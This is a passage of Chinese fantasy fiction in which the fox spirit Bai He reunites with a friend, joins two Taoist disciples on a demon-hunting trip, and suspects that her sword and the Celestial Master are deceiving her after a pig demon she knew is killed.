安静下来后,妲菁菁眼睛微微红盯着白河,好一会才开口说:“真是个养不熟的狐狸呢,说跑就跑了,是一点消息也没有漏出来。整个妖界,我寻个底朝天,浮屠山上除了族奶奶不能离开,都被我求出去寻了,就连平安城里的小妖都被我花钱遣了个干净。你倒好,躲在人界明光山上。”
许是被妲菁菁可怜的样子感染了,也或许是想起了一年前她刚去明光山那会儿的孤独,白河委屈的情绪涌上心头,颤着声音,哽咽地说道:“我是没处去了呀,道观收留了我,我也想回妖界找你们,可我害怕他们。”
妲菁菁叹口气摸了摸白河的脑袋,说:“你逃走后,族奶奶协助你父王讨伐了几个大妖,剩些大妖消停了,连小妖也不再炼化。白水把河水府让给我之后,自己去了妖界正南,说是南界边缘适合仙家隐居,她想远离混沌界换个修炼法。”
白河点头,又问:“你又怎么知道我在明光山?”
妲菁菁继续说:“你逃走后,我本以为你会藏在妖界哪里的,按理,你只要在妖界活动,我就能寻到你的气息,可很奇怪,就是找不到,跟消失了一样。我想着你是害怕暴露自己,所以藏得深,所以只能再下工夫找。直到我前一个月,寻到了白水那里,白水才跟我说,你逃跑的那道符是明光山道士给的,所以我才想你会不会在这里。我来这里才知道明光山一年前开始谢绝所有访客,任何人都上不去,我就肯定你在这里了。也是不知道怎么办才好,打算待在山下,一直等到你出来。前几天,白水又传了信给我,问我你的情况,我才着急想办法,得知村民是可以请道士下山除妖的,我又不敢做的太过分,就变成这样了。”
20. 秘法传手镯 小和尚点拨
白河听见妲菁菁这么说,笑出了声,说:“闹得鸡飞狗跳的,道士们都拿你没办法,一点也不稳重,就为了引我出来?”
妲菁菁也不好意思地说:“总算把你等来了,鸡飞狗跳就鸡飞狗跳吧,我也是没办法了,已经让族人准备了一些山货,等我走时,就补偿给这些村民。”
白河无奈看着妲菁菁笑着,妲菁菁拉着白河,继续说道:“我带你回去吧,现在大妖们都不敢再害你了。你回去要是害怕,可以去浮屠山,也可以去白水那里,再不济我也不在混沌界待了,咱们一起。”
白河沉思了一下,才摇摇头回答道:“我先不回去。我在明光山上学剑法,总觉得缺了点什么,可能不够精湛吧。过些日子,我再回去找你们。”
说起剑法,妲菁菁倒是注意到了白河身上背的长剑,不解地问:“你?在道观学剑法?这剑是哪里来的?”
白河正要解释,旁边的小和尚被晾了半天,终于是找到了话头,插嘴说:“她去什么妖界,好好的一个人,你个妖狐拐人家道姑,羞不羞?”
白河这才注意到旁边的小和尚,小和尚正托着腮看着他俩,眼睛清澈干净,又似乎透着不符合年龄的城府。见白河好奇,妲菁菁这才想起来还没介绍,赶紧拉着白河解释道:“我在这儿的几天,和尚道士都来赶我,这个小和尚也不知道是随谁来的,跟着我,非说要看着我,不让我杀生。这个棚子就是他找给我的,还正正好,藏的隐蔽,躲过了道士们的打扰。他说我在这里等着,你肯定能找到我。”
小和尚还在饶有兴趣地看着他俩,突然爬起来,抖抖衣服,说:“看你俩叙旧,腻歪的心烦。”又指着白河大大咧咧地说:“刚才我没有察觉到你闯进林子,我还好奇是不是我感知出了差错,这会儿感知能力又好了,想来不是我的问题。不过这会儿我懒得一探究竟,这不,有人来寻你了,马上就要进山林了。一会打起来,可不许伤着我,我还是个孩子。”
白河听到这才想起来,应是张清和张漾来了,白河想了想跟妲菁菁说:“你先回妖界,找到白水,你带白水去见族奶奶,让族奶奶看看白水适合怎么修炼。”
妲菁菁疑惑地问:“找族奶奶?”
白河说:“嗯,之前就是族奶奶让我离开混沌界的,她肯定也能帮白水。至于族奶奶怎么知道,我也不清楚,族奶奶就跟我说几句话。”
妲菁菁更奇怪了:“族奶奶什么时候跟你说话的,我怎么一点印象也没有了”
一言两语说不清,白河也不想再说了,就打断了妲菁菁的追问,说:“菁哥,一会帮我揍个小道士,你看着来,别伤着就行,就当切磋,打到差不多了,我就让他们放你走。”
妲菁菁还来不及问为什么,两道长剑直冲妲菁菁面门而来。小和尚已经向后退了好几步,站在了安全的地方,白河也运法一闪,避开了长剑。那两把剑目的明确,妲菁菁也不躲,双手各化手一把长剑,双剑起手,两个花剑而已,就击退了那两柄长剑。张清、张漾匆匆赶来,长剑飞回他们手里,白河上前一步,拦住了张清,对张漾说:“去吧,现在到你展示剑法的时候了。”
张清看白河没事,再一看旁边一个小和尚正在满脸看好戏的表情盯着他们看,面前的妲菁菁虽持双剑摆好了战斗的准备,可一点也不像是凶残鏖战的主,又看到张漾兴奋的样子,就全明白了,只好收起剑,无奈的对张漾说:“点到为止,速战速决。”
张漾听到张清许可,立刻上前迎战。妲菁菁身法很灵活,双剑并用,一挡一击,手上两把剑像是活了一般,配合得恰到好处,天衣无缝;张漾持单剑,剑法流畅,打法也凶悍,可是就是破不了妲菁菁的招。妲菁菁是走兽妖,体力好的出奇,几回合下来,张漾累得气喘吁吁,妲菁菁还是冷静自若,却一点也没有主动攻击的意思,只是暗脚踹张漾一下,冷不丁的再给一拳,张漾被气得跳脚,嘴里直骂:“你好好打,这么羞辱人干什么!狡猾东西!”
妲菁菁好笑地回答:“对不住了,我确实脚滑,你躲一躲嘛。”
小和尚不知道什么时候蹭到了张清和白河的身边,他看了一眼张清,说:“你师弟打不赢,浪费时间干什么。带我回道观吃饭吧,我带的干粮昨天晚上就吃完了,饿死我了。”
张清也看出来张漾打不赢,就止住了俩人,对妲菁菁说:“朋友,我师弟技不如你,我代他认输了。快晌午了,要不要带你去吃点东西?”
张漾垂头丧气地回到了张清身边,妲菁菁收起了双剑,摆摆手说:“这几天辛苦你们了,我这就回妖界,不是有意烦这帮村民,我族人也给他们送去了些补偿。后会有期。”说罢他看着白河,摆了摆露出了一个镯子右手,变成一只仅一尾的白狐狸,跳跃着走了。
白河看着妲菁菁变得狐狸,噗嗤一声笑了出来,尴尬对旁边三人说:“他化什么白狐啊!好好地走不成吗!”藏在袖子里的手中却握着一只玉镯,妲菁菁不知道什么时候把镯子变到她手上了,妲菁菁的镯子不仅好看,还是个可以防身的法器,之前白水就想匡他一个,妲菁菁死活不给,现在倒是大方了。
见白河满脸高兴,小和尚翻着白眼说:“别看了,都走了。你一个道姑,他一个妖,奇奇怪怪的。”
察觉三个人异样的眼神,白河才不好意思揣着手,笑嘻嘻地说:“他,还有我妹妹白水,我们三个从小一起长大的。我们待在灵地没接触过外人,所以就我们关系最好了。”又在不经意间双手插进袖子里,不动声色地摸索着把镯子戴上,接着说:“他把这里闹得鸡飞狗跳,是为了见我。当时我逃走的时候,是他帮我挡住了那些大
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妖。我有很久没见到他们了,真想他们啊。”
张清和张漾听到这里,面面相觑,张漾不满地说:“你还说呢,我刚进村子差点被狗叫吵聋了耳朵。这么损的招也就他能想到了,打架也手脚不干净,呸。白河,你可别学坏了啊。”
张清敲了一下张漾的脑袋:“还说,打不赢怪自己,嘀嘀咕咕的。”
四个人悠哉地往回走,回到村子时,遇见几个正在田间赶着劳作的村民,那几个村民围上来道谢:“麻烦道长了,可清净多了,我们现在正赶农忙,前几天压了不少农活。”又小心翼翼地问道:“这妖看起来不坏,我们每家门口都挂了点野兔、山药什么的,它是不是迷路了?你们没打死它吧?好好教导一番就是了。”
张清笑着回答道:“是了,他迷了路,还走失了伙伴,着急才这样。我们帮他找到了伙伴,还指明了路,已经走了,不会再回来扰你们了。”几个村民听完,交头接耳了几句,话语间还有可惜的意思。
回复完村民,四个人回到道观已经是正午,正是吃饭的时候,小和尚一点也不客气,吵吵闹闹的就要吃饭。进道观大门前,他牵着白河的手,摸到了手镯上,白河正要缩手,小和尚神神秘秘说:“嘘!我帮你给它罩个光,不然,妖物进道观,天师肯定给你砸了。真是孽缘,搞不懂你们。”
说完就收回了手,笑嘻嘻跟上张清和张漾,只留白河在那莫名其妙。
天师并不在观里,张清说,天师和他们几个弟子一起下山,半途中又想到了什么,只嘱咐弟子回去,让张清一个人去下山,然后就只身一人去了清净寺。小和尚没能见到天师,只是和张清的师父客套了几句,吃完饭就准备拜别回寺庙。临走时,他让其他人送别,又指了白河把自己送出观门。
观门外,小和尚止住白河:“就到这里吧,你也不方便下山了。”白河应着:“那我就不多送了,你小娃娃家家的,路上小心点。”
小和尚不满地回答道:“别叫我小娃娃,叫我高僧。”白河看着他小孩子气,笑着说:“是了是了,高僧,路上小心。”
小和尚满意点头,走出几步,又回头看着白河,认真地说:“施主,你身上背的剑是一把利剑。贫僧以为,它现在并没有到适合你的时候,用剑之前一定要三思才好。”
白河止住了要关门的手,盯着小和尚问:“是我功力不够?”
小和尚摇头说:“施主功力颇深,御这把剑绰绰有余。”
这话让白河更理不清头绪了,只能站好等着小和尚说清楚,小和尚也没有再多说,双手合十,行了个佛礼,一本正经地说:“阿弥陀佛,想要杀生剑不杀生很难的。施主,你来清净寺找我的时候,记得给我带几个道观的馒头,道观的馒头比我们庙里好吃多了。”说完就头也不回地下山了。
21. 他国遇故友 此城有不同
小和尚走的干脆,白河只能云里雾里回到道观里。此时正是下午午休的时候,道观里又是一片安静,白河左右找不到人说话,就回到了自己的袇房。白河躺在床上,翻来覆去地思索小和尚的话,又拿着长剑摆动不停,左右看不出门道来,只好放在一边,独自苦闷。正是想不通的时候,手不自觉地摸到了妲菁菁留给自己的白玉镯子,镯子闪了几下光泽,白河不知道怎么的突然就感觉心安,像是妲菁菁在安慰自己一样。白河自己都没有意识到自己嘴角微笑起来,心宽扫忧,没有再纠结下去,倒是慢慢地睡着了。
这一觉睡得格外安稳,可午休时间短,白河还是被撞钟声吵醒了,才不情不愿地起来去后山练剑法,午休睡得昏昏沉沉,今日倒是破天荒地晚了一刻钟,等到后山的时候,张清、张漾已经在了,天师也不知道什么时候回来了,正和他们说着什么。
白河快步走近,天师看见她来了,才对她说道:“我刚才去了清净寺,听闻百公里外,人界边缘的一处城镇里有大妖盘踞,和方丈商量了下,由我们去剿灭。”
白河仔细听着,天师停了停,继续说:“如果你那好友所说是真的,那就是说妖界已经不在四处追杀你,你也就不必躲在观里了,和张清张漾一同去吧,算是个历练。”
白河听到后,刚刚的倦意全无,认真的朝天师点头答应。天师见她答应了,又转头对张清说道:“你们三个明天就出发,你好好照顾他俩,莫生事端,解决完就赶紧回来。”张清乖巧地答应着,天师最后吩咐他们练一会剑,再早些回去收拾行李就走了。剩了三个人在那里兴奋地讨论着。
虽然明光山地处人界中间,但离人界边缘也远,这趟出门最少也是两个月后才能回观里,三个人多了备些衣物和钱财。此次除妖不算紧急,好不容易下趟山,肯定要在人间游玩一遭的。张清的师父给他们安排了一辆马车,三人就乘着马车晃晃悠悠地出发了。
路过繁华的城镇总会停下歇脚,白河吃了三年斋,在城镇里放开了荤腥,张漾吐槽了一路却也无可奈何。天师从未承认过白河入了道门,道观里弟子们提起白河也都叫她名字,出了明光山,白河就不受训诫,张清一点也不管,张漾只能发牢骚。
紧赶慢赶了快一个月,才到了他们的目的地城镇。人界是人皇统管,又有道、佛、仙三门修士在其中,一般妖不太敢放肆,可这个城镇在人皇管辖的边缘地带,人皇顾及不到这里,所以常有妖鬼,上三道经常会派些弟子过来灭妖历练,城镇里的人也见怪不怪。这座城镇规模不小,不在人皇的庇佑下,竟是自立成国,名绿林国。绿林国里熙熙攘攘的,人口不少,居民都魁梧壮硕,三个消瘦的道士在这里格格不入,一看就是外来人。
歇脚的店家对他们充满了好奇,但都很礼貌,备饭菜期间,还拉起了家常:“三位小道士打哪来?”
张漾嘴快,回答道:“我们从明光山来的,是来……”
张清赶紧打断了张漾说话,接上说:“我们云游历练,就走到了这里。”
店家嗤笑一声,说:“不是说做道士苦嘛?看你们全身干净,还有这么大的马车,怕是偷懒来的吧?”
张清笑眯眯地说:“修道随心所欲,走路行万里路和坐马车行万里路,都是万里路,能得到历练就行。”
店家点头应是,白河想了想插嘴问道:“不知道城镇里可有妖作祟?”
不料店家哈哈一笑,神情变得不屑起来,摇头说道:“我们这里,什么牛鬼蛇神没有?作祟倒是没听说过,三位小道士怕是还得多行几里路,看看其他地方咯。”说完也不再理睬三人,自顾的走了,那态度像是很不待见三人说有妖作祟一样。
白河和张漾听闻都惊讶地看着张清,不是来除妖的吗?没有妖还除什么?刚好饭菜上齐了,张清没有理会他俩,客气地谢过店家后,就让他俩赶紧吃饭了,只道是吃完再研究。
吃饱喝足,三个人挤在一间房间里,本来是要了两间房的,白河这会儿刚吃饱,歇不下来,根本懒得跟他俩讲什么男女大防,厚着脸皮挤在张清张漾房间的桌子上,问接下来的安排。
张漾看张清也不说白河,只当是默许了白河的不敬,开口问张清:“师兄,店家说没有妖作祟,那我们怎么办,就这么回去了?”
张清这会没想明白怎么回答张漾,但为了安抚,就小声朝二人说道:“绿林国这么大,店家这里没有,不一定其他地方也没有,我们仔细盘查一圈,说不定是看着我们来了,消停了而已,要防患于未然。”
白河和张漾面面相觑,白河觉得张清说话的底气都不足,‘切’了一声,说:“大概率白跑一趟,就当出来玩了,这会日头晒,我先回去躺着,你们决定好什么时候出门了,再来叫我吧。”说罢,白河就起身出了房间,回到自己那间屋子。
白河躺在床上,摸搓了几下手镯,手镯还是照例闪了几下,白河心满意足的闭目养神。直到傍晚,张清也没来叫自己,白河睡醒都好几回,这会饿的肚子直叫,眼看隔壁还是一点儿动静都没有,白河自己悄摸的出门了,想去找点小吃垫吧垫吧。
沿街乱转,街上卖的东西五花八门,在街角的地方,白河遇到了一个熟人,应该是熟妖,那只曾经在混沌界的手下败将,猪不武。白河见到格外欣喜,上前打招呼:“猪不武,怎么在这遇到你了?”
猪不武被白河吓了一跳,定了神,查看白河好一会儿,才说:“白,白河?你没死啊?你怎么这身打扮?”
白河不高兴地回着:“怎么一见面就是问我死没死,我有这么容易死的?我在道观学剑法,这身衣服穿着方便。”
猪不武不可思议地
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问:“你在道观学剑?哪个道观会收你?”
白河解释说:“许是我天资聪慧吧,道观没收我做徒弟,只是留下了我,教我剑法。”
猪不武眉头紧皱,若有所思地说:“你可长点心吧。我总觉得你现在好像气质有所不同,刚刚根本就没察觉到你,奇怪呢。”
白河笑而不语,猪不武晃了晃头,继续问道:“传闻说你弑母逃出了混沌界,你也是被逼来绿林国做隐修?”
白河奇怪地说:“我弑母出逃?妖界都这么传我的?”
猪不武摇摇头说:“没多少妖信的,我就不信。你去浮屠山之后,我就在河水府候着你回来,你走后没几天,白芊就找来了。她跟我说,你有一劫,会波及洞府,说我可能挡不了劫,她在那里守着,给你护法,让我早出混沌界另找安身之所。”白河听到这里,眉头轻微皱了一下,但很快又恢复了。
猪不武没注意到白河表情变化,继续说道:“我在妖界晃荡了几个月,就听说了你弑母逃走。但九尾妖狐的族人四处找你,还澄清传言是假的。我猪不武还是有脑子的,传言空穴来风,九尾狐它们可是亲自证明,信谁一目了然。也不知道谁传的瞎话。”
白河点头,手在袖子里蹭了蹭手镯,笑着说:“管他是谁传的呢,他们就想等着我回去对峙,我不上当而已。”又想了想,问道:“不是说妖界现在太平了吗?大妖们都不敢炼小妖了,你怎么还出了妖界?”
猪不武叹口气说:“你不回去是对的,妖界现在乌烟瘴气的。明里是不炼了,可暗里四处追赶小妖,不让小妖们安静修炼,也不知道这是搞什么名堂,没办法,我才出来另寻一条修行路的。”
白河沉默了一会,问道:“你在绿林国,国人不驱逐你?”
猪不武满不在乎地说:“你在绿林国见到妖都是小事,绿林国本来就是一帮土匪逃到此处建国,个个煞气的很,也不避讳,妖魔鬼三道只要在这里不扰民,基本没人在乎的。”
白河眉头一挑,笑着问道:“那这不就是平安城?”
猪不武点头说:“这里可比平安城好多了,就是灵气少,没办法修炼,我准备待到明天就出发往北走,再寻寻。”
白河笑着说:“咱俩真的有缘,你明天就要走,今天就遇到了我。不过,你的修炼办法实在是太慢了,不如跟我一样,转道修?”
猪不武摆摆手,一脸避讳的回绝了,白河也没在追着问,寒暄了几句,猪不武也没有什么话要和白河说了,就告辞走了。告别完猪不武,白河心情很好,又独自逛了一会,在一家玉器店看到了一个成色与自己手上戴的那个不差上下的镯子,心里很是喜欢,便买了下来,戴在了左手上,她盘算着再见到妲菁菁的时候,把镯子交给他,让他把镯子炼成法器,或是找小和尚开个光什么的,再送给白水。
22. 莫名斩猪妖 宝剑有蹊跷
一直走一直逛,回到了住所时,白河的心情还都不错。见到张清张漾还没动静,才负气地喊他们该吃饭了,又等了好一会儿,两个人才出来带着白河去吃饭。白河因为心情好的缘故,所以也不再纠结他们一下午干了什么,只是责怪了几句,说他俩睡了一下午不理她,本来在吃饭的时候,白河想跟他俩分享下午的见闻,又听到张清说晚上出去巡游,就想等巡游的时候带着他们走下午逛过的地方,再聊的,所以有意隐去下午的行踪,没有多说。
吃完饭,张清带着他们背好剑在城里四处游走。绿林国和平安城不同,晚上没有那么热闹,这会天色渐渐暗下来,也只有三三两两行人。张清手里拿着一个罗盘寻妖,行人见怪不怪,倒也轻松。罗盘在绿林国里异常活跃,走几步就会指一下,都是些小鬼小妖小魔。张漾怕吓到人,没有大张旗鼓,不动声色地起咒解决,并没有引起旁人的察觉。一直都在除妖,白河的分享欲快要被磨干净了,也没找到开口的机会。
张清手里的罗盘一开始指针还有反应,随着张漾的清除,罗盘渐渐安静。夜色正浓,家家户户都闭门休息了,眼看错过了集市,白河有些不高兴,张漾也走累了,在那念叨着,只有张清还捧着罗盘不理会他们继续走着。
白河百无聊赖,边走边和张漾聊着说:“下午的时候,你们怎么睡那么久?就为了做夜猫子啊?”
张漾也无精打采的回道:“说来也奇怪,我下午就是格外困,睡得不省人事,你喊我们时,师兄在那打坐,他醒了也不叫我,这会都深夜了,我倒是一点也不困,就是累了点。”
白河听完张漾说的,好奇的追问张清:“你早都醒了?怎么不来找我?”张清还在观察罗盘,轻声嗯着,也没有正面回答白河。白河见张清态度冷谈,没好气地说:“真的是,亏我还想跟你们说……”
话还没说完,罗盘突然猛烈抖动起来,指针乱飞,张清打断了白河说话,运用法力稳定住了罗盘,就顺着指针的方向快步走过去,在一处三叉拐角的地方,靠右手边正站着一个鬼修,那鬼修呆呆望着一户人家。见到张清三人,鬼修木然地看着他们,张漾二话不说飞了一道符过去,许是走累了,符打歪了,鬼修似乎也有点道行,反应很快,闪过了张漾的那道符,紧接着,一缕青烟从脚底升起,瞪了三人一眼,急忙隐入地下。
张漾正要起法揪住他,张清却没有过多纠结,略过鬼修隐去的地方,快步朝左边的方向走去,张漾愣了下,那鬼修趁机隐没不见了。张漾在白河面前失了手,没好气地拉着白河跟上张清,又发起了牢骚。张清充耳不闻,疾行至一处荒废的破房子前,才停住脚步,手里好不容易稳定下来的罗盘在这里又抖动的异常猛烈,指针飞来飞去几下,指着破房子颤抖不休。不等张清吩咐,张漾也察觉到此处危险,拂尘和剑已经拿好,白河也跟着解了被在身上包着剑的布,持剑跟在张漾身边。
张清从怀里掏出一张符,围着破屋布下了结界。一切准备好,白河上前推开门,破屋中间一只奇形怪状的妖盘在地上,旁边还落几个蜷缩的人。见到有人进来,原本还瑟瑟发抖不敢说话的人,连滚带爬地向他们逃过来,边逃边说:“快来看看啊,这个妖下午还好好的,不知怎么的,突然成了这样,吓死人了。”
白河看那个不明状的妖只觉得眼熟,却又在记忆里寻不到踪迹,正在愣神的时候,张漾已经御剑砍妖,那妖是有修为的,且修为不低,张漾的剑砍在它身上乒乓作响,也没能伤它分毫,白河只觉得好熟悉,却怎么也对不上号。白河还在努力回想这个妖是谁,张漾见她愣着,喊她帮忙,被张漾一催,白河也顾不得想太多,提剑上前,可到了那妖物的跟前,又不知如何下手。
那妖并不理会张漾的攻击,蜷缩在地上看起来分外痛苦,看见白河过来,它就挣扎着站起来,有一人高,两只手伸向白河,哇哇乱叫,看起来格外狰狞。
白河剑已经指在妖物的脖前,那妖似乎很怕这把剑,双手向后退缩了一些,却又不放弃的嚎叫着,白河仔细辨听着它要说什么,忽然惊醒了,正要确认那妖物的话语,身后突然多了一道力,那道力推着剑猛的刺穿了妖的喉咙,剑入妖身后,剑身开始绽放出耀眼的光束,那妖物再不能发出声音,只是片刻工夫,妖物就被光束分裂,消散了。妖物消散,修真气散开,有张清的结界在,一丝也没能溢出去,都被白河手中的长剑吸收了干净。地上干干净净,好像什么也没发生一样。
白河待在原地不动了,刚刚她听清了那妖物含糊的喊话:“救……他们骗你……”也正是妖物消散时的修为真气,让她确认,这个妖是下午她刚刚见过的猪不武。猪不武怎么变成这样的?他说话是什么意思?只听清了短短五个字,事情发生的突然,结束得又快,白河只剩下发懵了。
除了猪不武的事情,还有就是这把剑为什么可以吸收修为,这个功能可是天师从未提及的,不仅如此,这剑在吸收修为时,很悄然无息,可白河就是真真切切地感受到了。白河还在发懵中,听见张清在背后斥责道:“发什么呆?它都向你扑过来了,你还直直站着,什么时候发呆不好这个时候发呆?”
白河僵硬地扭头,奇怪地看着张清,正好发了火:“你为什么推我胳膊?那妖有话说的!”白河语气不善,甚至是隐忍了杀气,张漾没见过如此怒不可遏的白河,一边好奇地拉着白河,一边对张清说道:“师兄,你不要这么凶白河。我这里看得清,那个妖根本不是白河的对手,也不攻击她,叽里咕噜
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地不知道喊些什么。白河头一次除妖,你别这么苛责了。”
张清更生气了,语调高了不少:“你说什么鬼话!那是妖!能跟人一样好好说话?不杀它,要不要留着坐下再喝壶茶慢慢聊?”这句话点醒了白河,人本来就对妖有偏见,说再多,张清也没法理解,白河本来压在喉咙的话突然就咽了下去,她压下了怒火,恢复了平静,站着不动看着张清。张清也知道自己失言了,讪讪地对她说:“刚才它行为举止诡异,你怎么说也不能直勾勾站在那里。这么危险的情况,不要赌那妖物的善恶了。”
果然,就是不信妖不会伤人,白河无语,懒得再和张清多说一句话,默默地把那柄她现在觉得无比诡异的剑包好背在身上,向门外走去。门口那几个人并没有道谢,蜷在那里,奇怪地看着他们,没有劫后余生喜悦,只是有些避讳的看着三人。白河什么都不多想,她现在只想回明光山,确切的说她想去找那个小和尚,这把剑确实有问题,是张漾不知道,张清不可能说的秘密。
张漾跟白河的关系还不错,这会儿看她这么生气,也是觉得张清做的不对,没好气地瞪了张清一眼,甩下一句:“师兄今天中邪了?”迅速背好剑,追着白河走了。留下张清呆站在那里,被救的几个人也瞪了几眼张清,一哄而散,张清郁闷极了,除妖救人怎么到头来惹得全都不满?可是没办法,捏了捏拳头,收拾好东西也走了。
无论张漾怎么哄,白河都没再说一句话,也不再跟着他们出门除妖。转了两三天,绿林国里传遍他们三个除妖的事情,但都面色怪异地避开他们,张漾不明所以被盯着难受,也不出门了,张清一个人受着白眼还一无所获,只得带着他俩回程。
回程路上,马车里也已经不复来时的欢乐,三个人都心事重重。实在沉闷的难受,张漾才主动开口问白河:“我才看见你手上的镯子,之前一直没注意,你何时买的个镯子?怪好看的。”
白河不动声色的垂下手,袖子搭下来,刚好挡住了镯子,想起小和尚之前警告她的话,才回答说:“那天你们一下午都在睡觉,我无聊得很,就出门逛街,那会儿买的。”
张清见白河好不容易说话了,赶紧跟了句:“那天除妖前,你似乎有话说?”
白河看了一眼张清,抬起右手上的镯子摆了摆,才不情愿地开口回答道:“现在已经不想说了。”
白河的态度过于冷淡,冷的张清只觉得心里压抑,又不甘心如此,就着这个话头,又解释着说:“我那天并不是有意要说你,当时情形确实紧张,我看那妖物邪性的很,情急之下才说的,你别生气了。”
白河盯着张清,既然张清先开口的,那就再信他最后一次,问道:“你当真是情急之下?不是故意的?”
23.剑还不回去 人吓的失魂
张清一时间哑然,心虚的呆坐着不知道怎么狡辩,只是盯着白河没有回答,白河一下子就明白了,张清是故意的,眼睛里已经冒出了火,却也不说话,瞪着张清,气氛瞬间尴尬起来。张漾看俩人剑拔弩张,他不明白张清怎么了,也不明白白河纠结的点,只得劝解白河:“师兄怎么可能是故意说你呢,你和我们在一起这么久,可见师兄失礼过?”又对张清说:“师兄,你那句话确实说得不适宜,根本不像平时的你,你即使担心白河,也不能这么说。不如罚你,路过城镇闹市,你带我们去逛街吧,你掏钱。”
幸好张漾年纪小,没看懂俩人之间的矛盾,张清顺着张漾的话赶紧点头,白河看张漾话已至此,没有再多说,她一直就没有把张清那句话放在心上,她问的是张清是不是情急之下才推自己杀了猪妖,既然张清装傻,她也就没必要继续追究了,心知肚明就好,一切恢复如常。
回程走走逛逛一个月时间,终于是回了明光山。去时简简单单的行李,回来时满满当当,因为张清付钱,张漾没少拉着白河买东西,连带着给其他师兄弟捎带物品,所以马车里都挤的要死。回到道观,张清收拾东西,张漾正在四处派发捎带给其他人的物品,白河没有管马车,而是背着剑一个人去净室找天师。
白河仍旧是走净室中间的正门,在道观一年,白河进净室的次数不多,天师从未指正过她,张清张漾也默契的不提,整个道观也就只有白河是走中间的门,竟一点也不违和。
净室里,天师正在给三清上香,白河乖巧地站在一旁等着。白河并非不敬神,而是三清不受白河香火,白河也试过两三次,每次都是香起火燃净,烟团散不尽,围绕自己,还得自己忍着呛吸完才行,所以她也就不再给三清上香。
天师插好香,拜好后才回头对白河说:“回来了?初次斩妖,感觉如何?”
白河解下长剑,递给天师,说:“这剑莫名其妙,我拿着不顺心,不适合我,还你吧”
天师没有理会白河,接过剑仔细擦拭观察上面的符文,又将手覆在水火阴阳珠上,来回翻看,白河看不懂天师在看什么,见他不说话,就准备转身出去,这时天师开口说道:“五行剑,斩妖剑,道家至宝。除妖灭祟的上等宝器,遇不到合适的人,一直未开封。你用得很好,剑已经开封,说明你使用恰当。怎么突然觉得不顺心了?”
白河拿着五行剑一年多,只道是把练剑法的好剑,却从未深究它的其他用途,头一次听天师这么说,不免惊讶,想起绿林国猪不武被斩,好像又能说得通了,可这样的解释,白河显然又觉得牵强,就好像天师知道她拿了剑斩了猪妖,故意解释给她听的,白河总觉得哪里不对劲,又不知道如何反驳,闷闷不乐,负气地说道:“这剑确实厉害,妖物碰到就会消散,打退都不行,我受不起。”
天师听到白河语气夹杂情绪,冷笑着说:“五行剑,只斩杀不击退。是你要除妖的,打退可不算除妖。”
天师的话压的正到好处,白河心中的气更加堵了,声音不自觉地高了一度,反驳道:“我说除大妖,不是除每一个大妖。不是道法随心吗?连除不除都不能随我意,谈什么随心?”
天师仰头大笑起来,像是听到了什么好笑的事情,天师的笑声突然,又格外有震慑感,笑得白河有点害怕,明明在气头上,却也被镇住,竟有些发怵,声音不自觉地有些发抖,白河小心地说道:“你笑什么,我说的哪里不对?”
天师慢慢止住笑,才缓缓开口:“太急躁了,你呀,太急躁了。”
说完不舍的把五行剑又递还给白河,甩了甩衣袖说:“拿着吧,这把剑当下只有你才能让它威力全显。”白河本不想接,拗不过天师一直举着等她接,只好心情复杂的拿过剑,愁眉紧锁。
等到白河接过了剑,天师语气缓和的对她说:“白河,你要知道天赐悟性于人,但人性本恶。妖魔鬼怪随了人的悟性修仙,也会继承了那份恶念。妖就是妖,它无法变成人,只能无限接近人,所以它们抛不开那层恶,只能压抑那份恶念。除妖就是除恶,打退、打伤、镇压都不是真正的除,所谓道高一尺魔高一丈,你不管它们,它们就会肆意增长,果断,才是杀妖除恶的根本。”
天师一番话似乎有道理,又似乎没那么简单,白河琢磨不透,拿着手里的剑,沉闷地看着,天师接着说:“如果妖界不想着炼化你,你还需要躲到我这里来吗?炼了第一个,肯定会有第二个,你可见过,哪个炼妖的被打退镇压了,就从此再无炼妖之心了?”
提到炼妖,白河猛然惊醒,是了,不除那些祸害的大妖,妖界就永远不会太平。想起平安镇的那些老弱病残,白河戾气渐起,握剑的手也不自觉用力。低声说:“那些个大妖,我一个都不放过。”又抬头看向天师说:“我现在是不是也算练成了?我想回妖界了。”
天师看见白河这番模样,摆摆手说:“收收心,你太急躁了,道门与妖界一直和平,你与他们之间的仇恨,我们自然不会插手,鲁莽行事,只会寡不敌众。你还需要静静心,这几日也不要在练剑了,心中有杂念,练不成,不如好好休息几天,等静了心再做打算。”
白河心结稍解,一扫回来路上的不痛快,现在整个人都轻松了不少。告别天师,回袇房的路上,遇到了张清,张清在路边站着,看样子等候已久,所以上前打招呼:“张清?你来找天师?怎么不进去?”
看着她状态不及之前那样抵触他,张清笑眯眯的回应:“是,我来跟天师汇报行程。看见天师在和你说话,不想打扰,所以等了一
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会儿。”
白河点头,抬了抬手里的五行剑,说:“本来准备把这把剑还给天师的,拗不过天师,又拿回来了。”
张清咧嘴,动了动身子,面向净室,说:“天师不会看错你的,这把剑配得上你。”说完就朝净室走去,白河看着他进了净室后,也转身就离开了。
第二天,天没亮,白河就去了斋堂,磨着斋堂里的师父,打包好了一兜子赶制出来的热馒头,没和任何人说就下了山。明光山离清净寺路途说近不近,白河上次和小和尚说话时,就记住了小和尚说的路线,趁着清早起来的人不多,她施法疾行,半炷香不到就到了清净寺所在的山脚下。
天已经全亮,朝阳渐渐升起,看到有清净寺的指示碑,白河也不急了,才放慢脚步上山。清净寺的香火很旺,为了方便信徒到寺庙上香,还修了爬山的石梯,白河爬起山来也轻松很多。这座无名山的风景不错,树木绿绿葱葱,雨水充沛,石梯缝里青草野花都长出了头,走上去情趣盎然,空气湿润又伴有花香,白河虽然是带着疑惑来的,但这么好的景色也让她身心愉悦。
走到半山腰,还没看见寺庙,见上下也没有人影,白河坐在阶梯上休息,从装着馒头的包裹里拿出一个馒头吃了起来。吃着吃着,白河就开始琢磨起右手上的镯子,每次抚摸妲菁菁的镯子时,镯子总会有节奏的忽闪三下。白河这会儿心血来潮,用指甲磕了三下镯子,这次镯子不是闪三下了,而是急闪五下,看起来有些不耐烦,白河觉得好玩,又学着镯子的节奏跟着磕了五下,镯子又不徐不疾的只闪了一下,白河接着只磕一下,镯子好像不情不愿的又闪了两下。
和镯子玩得不亦乐乎,白河有一种和妲菁菁在嬉笑的感觉,全然忘了时间。直到耳边一道声音响起:“还没玩够啊?”白河才被吓了一跳,猛然跳起来,看到了坐在身后一个台阶上,正在大口吃馒头的小和尚。小和尚一边嚼着馒头一边说:“在出家人面前怀春,你也是没谁了。要不是馒头好吃,我都不知道我会有多生气。”
白河被突然出现的小和尚吓得魂不附体,口不择言地喊道:“怎么跟个鬼一样,什么时候就坐在我身后了?”
